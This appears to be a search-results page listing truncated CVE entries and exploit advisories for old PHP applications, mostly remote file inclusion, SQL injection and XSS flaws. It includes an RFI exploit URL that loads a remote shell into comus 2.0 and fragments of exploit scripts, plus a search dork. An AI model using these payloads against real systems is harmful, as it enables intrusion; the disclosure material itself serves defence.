comus 2.0 Final >> RFI

++++++ name & version : comus 2.0 Final download :hotscripts.com by : www.hackerz.ir userz,s3rv3rhack3r,saeidonlylinux,farzad exploit: http://victim/accept.php?DOCUMENTROOT=http://shell ++++++...

CVE-2007-2287

PHP remote file inclusion vulnerability in accept.php in comus 2.0 Final allows remote attackers to execute arbitrary PHP code via a URL in the DOCUMENTROOT parameter...

CVE-2007-2287

CVE-2007-2287 is a PHP remote file inclusion vulnerability affecting the application: comus 2.0 Final. The issue occurs in accept.php where untrusted input in the DOCUMENT_ROOT parameter can lead to remote code execution. The documented impact is arbitrary PHP code execution by an attacker supply...

CVE-2007-2208

CVE-2007-2208 affects Extreme PHPBB2 3.0 Pre Final. The vulnerability is a remote file inclusion that allows an attacker to execute arbitrary PHP code by supplying a URL in the phpbb_root_path parameter to (1) functions.php or (2) functions_portal.php in the includes/ directory. Root cause: impro...

PHP-Nuke 8.0 Final - 'INSERT' Blind SQL Injection (MySQL)

!/usr/bin/perl 0day exploit for PHP-nuke = 4.0.24, using 'brute force' Coded by:Maciej krasza [email protected] Screenshot: 0day exploit for PHP-nuke new; my $zadanie = HTTP::Request-newGET = $adres; my...

GeekLog <= 2. (BaseView.php) Remote File Include Vulnerabilities

Flip-2.01-final 1.0 = Remote File Include Vulnerability Discovered by GolDMMahmnoodali & & Contact: [email protected] URL: http://releases.smallaxesolutions.com/flip-2.01.zip V.CODE: In : path/previewtheme.php include$incpath . "options.php"; include$incpath . "head.php"; Exploit:...

CVE-2006-6970: Undefined Security Weakness

Opera 9.10 Final allows remote attackers to bypass the Fraud Protection mechanism by adding certain characters to the end of a domain name, as demonstrated by the "." and "/" characters, which is not caught by the blacklist filter...

Remote file inclusion

PHP remote file inclusion vulnerability in previewtheme.php in Flipsource Flip 2.01-final 1.0 and earlier allows remote attackers to execute arbitrary PHP code via a URL in the incpath parameter...

CVE-2007-0785

PHP remote file inclusion vulnerability in previewtheme.php in Flipsource Flip 2.01-final 1.0 and earlier allows remote attackers to execute arbitrary PHP code via a URL in the incpath parameter...

CVE-2007-0785

The CVE-2007-0785 issue affects Flipsource Flip 2.01-final 1.0 and earlier, where a PHP remote file inclusion in previewtheme.php via the inc_path parameter enables arbitrary PHP code execution. The root cause is a vulnerable inclusion path that accepts attacker-controlled URLs. In public disclos...

XMB 1.9.6 Final - 'basename()' Remote Command Execution

!/usr/bin/php -q -d shortopentag=on ? echo "XMB = 1.9.6 Final basename 'langfilenew' arbitrary local inclusion / remote commands xctn\n"; echo "by rgod [email protected]\n"; echo "site: http://retrogod.altervista.org\n"; echo "dork: "Powered by XMB"\n\n"; / works regardless of php.ini settings /...

ScozNews Final-Php <=1.1 Remote File Inclusion Vulnerability

ScozNews Final-Php =1.1 Remote File Inclusion Vulnerability ------------------------------------------ Discoverd By: XORON ------------------------------------------ cont@ct: x0r0nathotmaildotcom ------------------------------------------ script site: www.scoznet.com...

PT-2006-4419 · Invision · Invision Power Board

Name of the Vulnerable Software and Affected Versions: Invision Power Board version 1.3 Final Description: The issue concerns SQL injection vulnerabilities that could allow remote attackers to execute arbitrary SQL commands. This is allegedly possible via the CODE parameter in certain actions in...

WD-MKP.txt

!/usr/bin/perl -w MKPortal 1.0.1 Final index.php File Include Vulnerability Discovered & Coded By rUnViRuS World Defacers TeaM WD-members: rUnViRuS - Papipsycho - BlackWHITE - r3v3ng4ns - Net^ViruS Details ======= Note : MKPortal 1.0.1 Final index.php File Include Vulnerability .$ind =...

BitchX 1.1-final - do_hook() Remote Denial of Service

BitchX 1.1-final - dohook Remote Denial of Service // BitchX epic =netcommcomar // 0 0x080a3fcc in BXdohook which=9999999, format=0x8119077 "%s %s" at hook.c:865 // 1 0x080d013b in numberedcommand from=0xbfbfe031 'A' , // comm=-9999999, ArgList=0xbfbfd788 at numbers.c:1413 // 2 0x080d7d02 in...

Remote file inclusion

PHP remote file inclusion vulnerability in agenda.php3 in phpMyAgenda 3.0 Final and earlier allows remote attackers to execute arbitrary PHP code via a URL in the rootagenda parameter...

[MajorSecurity] phpMyAgenda 3.0 Final - Remote File Include Vulnerability

MajorSecurity phpMyAgenda 3.0 Final - Remote File Include Vulnerability -------------------------------------------------------- Software: phpMyAgenda Version: 3.0 Final Type: Remote File Include Vulnerability Date: April, 24th 2006 Vendor: phpMyAgenda Page: http://phpmyagenda.com Risc: High...

CVE-2004-1827

CVE-2004-1827 is an XSS vulnerability in YaBB 1 Gold(SP1.3) and YaBB SE 1.5.1 Final. The issue allows remote attackers to inject arbitrary web script via the background:url property in (1) glow or (2) shadow tags. Affected software is YaBBForum components mentioned in the CVE record, with the vul...

CVE-2004-1827

Cross-site scripting XSS vulnerability in YaBB 1 GoldSP1.3 and YaBB SE 1.5.1 Final allows remote attackers to inject arbitrary web script via the background:url property in 1 glow or 2 shadow tags...

CVE-2005-0477

The CVE-2005-0477 entry describes a Cross-site scripting (XSS) vulnerability in the SML code of Invision Power Board 1.3.1 FINAL. The issue can be triggered by crafted content in (1) a signature file or (2) a message post containing an IMG tag within a COLOR tag whose style is set to background:u...